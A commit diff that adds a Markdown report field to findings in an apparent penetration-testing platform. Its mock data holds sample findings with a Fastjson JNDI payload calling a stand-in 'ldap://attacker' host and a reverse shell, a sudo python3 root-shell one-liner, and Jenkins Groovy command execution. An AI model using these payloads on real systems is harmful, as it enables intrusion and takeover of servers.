feat: finding 增加详细报告字段 report(Markdown),详情页证据下方渲染

- findings 表加 report 列(TEXT 默认空,schema + ALTER 补旧库)
- 仅 GetFinding 查 report,列表/分页不带以免 payload 膨胀;FindingDTO.report omitempty
- 详情页「概览」证据卡下方新增「详细报告」卡,复用 <Markdown> 组件渲染,空时占位提示
- 前端 Finding.report? 类型;mock 单条 GET 返回 report、列表剥掉,并给 f-12 加示例报告
- 字段先留空,后续由写入方填充;db 测试补 report 往返断言

next build 通过。
This commit is contained in:
Autumn-27 committed 2026-08-18 11:52:34 -04:00
1 parent 64d9c66f6a
commit 8092167ae5
8 files changed
+65 -24

No files matched your search

+17 -14
View File
@@ -21,6 +21,7 @@ type DBFinding struct {
Worker string
AssetIDs []int64
Status string
Report string // 详细报告(Markdown);仅 GetFinding 填充,列表查询不带
CreatedAt time.Time
TaskDescription string // populated via LEFT JOIN on tasks
}
@@ -244,25 +245,27 @@ func (d *DB) FindingStats() (*FindingStats, error) {
return st, rows.Err()
}
// GetFinding returns a single finding row (with task_description joined), or nil
// when no row has that id.
// GetFinding returns a single finding row (with task_description joined and the
// full Markdown report), or nil when no row has that id. Unlike the list queries
// it also selects `report` — that column is only needed on the detail page.
func (d *DB) GetFinding(id int64) (*DBFinding, error) {
rows, err := d.Query(`SELECT `+findingSelectCols+`
f := &DBFinding{}
var aidsJSON string
err := d.QueryRow(`SELECT `+findingSelectCols+`, COALESCE(f.report, '')
FROM findings f
LEFT JOIN tasks t ON f.task_id = t.id
WHERE f.id = $1`, id)
if err != nil {
return nil, err
}
defer rows.Close()
out, err := scanFindings(rows)
if err != nil {
return nil, err
}
if len(out) == 0 {
WHERE f.id = $1`, id).Scan(
&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity,
&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt,
&f.TaskDescription, &f.Report)
if err == sql.ErrNoRows {
return nil, nil
}
return out[0], nil
if err != nil {
return nil, err
}
_ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs)
return f, nil
}
// SetFindingStatus updates one finding's triage state. Returns rows affected.
+10
View File
@@ -109,6 +109,16 @@ func TestFindingsPageAndStats(t *testing.T) {
if one == nil || one.ID != ids[0] || one.Severity != "critical" || one.Name != "严重漏洞标题" {
t.Fatalf("GetFinding mismatch: %+v", one)
}
if one.Report != "" {
t.Fatalf("new finding report should be empty, got %q", one.Report)
}
// report column round-trips through GetFinding.
if _, err := d.Exec(`UPDATE findings SET report=$1 WHERE id=$2`, "# 报告\n正文", ids[0]); err != nil {
t.Fatal(err)
}
if one, _ = d.GetFinding(ids[0]); one.Report != "# 报告\n正文" {
t.Fatalf("report not read back: %q", one.Report)
}
if miss, err := d.GetFinding(-1); err != nil || miss != nil {
t.Fatalf("GetFinding(-1): want nil,nil got %+v,%v", miss, err)
}
+3
View File
@@ -552,10 +552,13 @@ CREATE TABLE IF NOT EXISTS findings (
-- false_positive 误报 / ignored 忽略 / duplicate 重复 / risk_accepted 风险接受。
-- 取值不加 CHECK:旧库靠下面的 ALTER 补列,CHECK 无法回填,统一由 server 侧白名单校验。
status TEXT NOT NULL DEFAULT 'pending',
-- 漏洞详细报告(Markdown);默认空,仅详情页读取/展示,不进列表接口以免 payload 膨胀。
report TEXT NOT NULL DEFAULT '',
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
ALTER TABLE findings ADD COLUMN IF NOT EXISTS status TEXT NOT NULL DEFAULT 'pending';
ALTER TABLE findings ADD COLUMN IF NOT EXISTS name TEXT NOT NULL DEFAULT '';
ALTER TABLE findings ADD COLUMN IF NOT EXISTS report TEXT NOT NULL DEFAULT '';
CREATE INDEX IF NOT EXISTS idx_findings_task ON findings(task_id, created_at DESC);
CREATE INDEX IF NOT EXISTS idx_findings_time ON findings(created_at DESC);
CREATE INDEX IF NOT EXISTS idx_findings_status ON findings(status, created_at DESC);
+11 -8
View File
@@ -172,14 +172,16 @@ func edgeDTOs(in []db.Edge) []EdgeDTO {
// ---- Finding (frontend "Finding") ----
type FindingDTO struct {
ID string `json:"id"`
FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates
VulnClass string `json:"vulnclass"`
Name string `json:"name,omitempty"` // 漏洞名称;为空时前端回退展示 vulnclass
Severity string `json:"severity"` // critical | high | medium | low
Status string `json:"status"` // pending | in_progress | confirmed | resolved | false_positive | ignored | duplicate | risk_accepted
Summary string `json:"summary"`
Evidence string `json:"evidence"`
ID string `json:"id"`
FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates
VulnClass string `json:"vulnclass"`
Name string `json:"name,omitempty"` // 漏洞名称;为空时前端回退展示 vulnclass
Severity string `json:"severity"` // critical | high | medium | low
Status string `json:"status"` // pending | in_progress | confirmed | resolved | false_positive | ignored | duplicate | risk_accepted
Summary string `json:"summary"`
Evidence string `json:"evidence"`
Report string `json:"report,omitempty"` // 详细报告(Markdown);仅详情接口返回,列表为空
IntentID string `json:"intent_id,omitempty"`
ParamID string `json:"param_id,omitempty"`
TaskID string `json:"task_id,omitempty"`
@@ -301,6 +303,7 @@ func findingFromDB(f *db.DBFinding, assets map[int64]*db.Asset) FindingDTO {
Status: status,
Summary: f.Summary,
Evidence: f.Evidence,
Report: f.Report,
TS: rfc3339(f.CreatedAt),
}
d.Assets = findingAssetDTOs(f.AssetIDs, assets)
@@ -18,6 +18,7 @@ import {
SelectTrigger,
} from "@/components/ui/select";
import { StatusBadge } from "@/components/status-badge";
import { Markdown } from "@/components/markdown";
import { statusMeta } from "@/lib/status";
import { api } from "@/lib/api";
import type { Finding, FindingStatus, Severity } from "@/lib/types";
@@ -197,6 +198,21 @@ function FindingDetailInner() {
)}
</CardContent>
</Card>
{/* 证据下方:详细报告(Markdown 渲染) */}
<Card>
<CardHeader>
<CardTitle className="text-sm">详细报告</CardTitle>
</CardHeader>
<CardContent>
{finding.report ? (
<Markdown text={finding.report} />
) : (
<p className="text-sm text-muted-foreground">
暂无详细报告。
</p>
)}
</CardContent>
</Card>
</div>
{/* 右栏:状态区 */}
+1 -1
View File
@@ -173,7 +173,7 @@ export const findings: Finding[] = [
{ id: "f-10", vulnclass: "Outdated Component", severity: "medium", status: "pending", summary: "shop 使用存在已知 RCE 的老版本组件", evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付与订单链路", ts: T("2026-07-23T15:00:00Z") },
// ── 外网→内网纵深链路上的高危发现(active task)──
{ id: "f-11", vulnclass: "Hardcoded Credentials", severity: "high", status: "pending", summary: "泄露源码中硬编码数据库凭据 sa/Acme@2021", evidence: "git-dumper 还原 www.acme.com/.git 得到 config.php,内含明文 DB 口令,后续被证实可在内网复用。", intent_id: "ig", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:36:00Z") },
{ id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") },
{ id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", report: "## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 接口使用 **Fastjson 1.2.24** 解析用户可控 JSON,未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 结合后续提权,成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/Exploit\",\"autoCommit\":true}\n```\n\n2. `POST /api/import`,`Content-Type: application/json`\n3. 目标回连 dnslog,落地反弹 shell\n\n## 修复建议\n\n- 升级 Fastjson 至 **1.2.83+** 并开启 `safeMode`\n- `/api/import` 增加鉴权与来源校验\n- 出网限制:禁止业务服务器主动外联 LDAP/RMI\n", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") },
{ id: "f-13", vulnclass: "Privilege Escalation", severity: "high", status: "pending", summary: "DMZ 立足点 sudo NOPASSWD 错配可本地提权 root", evidence: "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 直接拿 root。", intent_id: "i8", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T16:20:00Z") },
{ id: "f-14", vulnclass: "Network Segmentation", severity: "medium", status: "pending", summary: "DMZ 主机双网卡直连内网,边界隔离失效", evidence: "dmz-web01 第二网卡在 10.10.10.0/24,可从 DMZ 直达域控/文件服务器/Jenkins,越过网络分区。", intent_id: "i9", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:00:00Z") },
{ id: "f-15", vulnclass: "Unauthenticated RCE", severity: "high", status: "pending", summary: "内部 Jenkins 未授权 Script Console 远程命令执行", evidence: "GET /script 无需登录即可执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库导出域账号 acme\\svc_deploy。", intent_id: "i11", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:50:00Z") },
+6 -1
View File
@@ -103,7 +103,12 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (path === "/exploration/findings") {
// finding_id=id:真后端用独立表行 id 作为状态/详情句柄,mock 里用自身 id 顶上。
const withFid = (f: (typeof D.findings)[number]) => ({ ...f, finding_id: f.id });
// report 仅详情接口返回,列表剥掉(与后端一致)。
const withFid = (f: (typeof D.findings)[number]) => ({
...f,
report: undefined,
finding_id: f.id,
});
if (task) return D.findings.filter((f) => f.task_id === task).map(withFid);
// 全局:带 page/limit → 分页对象;否则裸数组(dashboard)。
if (!q.has("page") && !q.has("limit")) return D.findings.map(withFid);
+1
View File
@@ -266,6 +266,7 @@ export interface Finding {
status: FindingStatus;
summary: string;
evidence: string;
report?: string; // 详细报告(Markdown);仅详情接口返回,列表为空
intent_id?: string;
param_id?: string;
task_id?: string;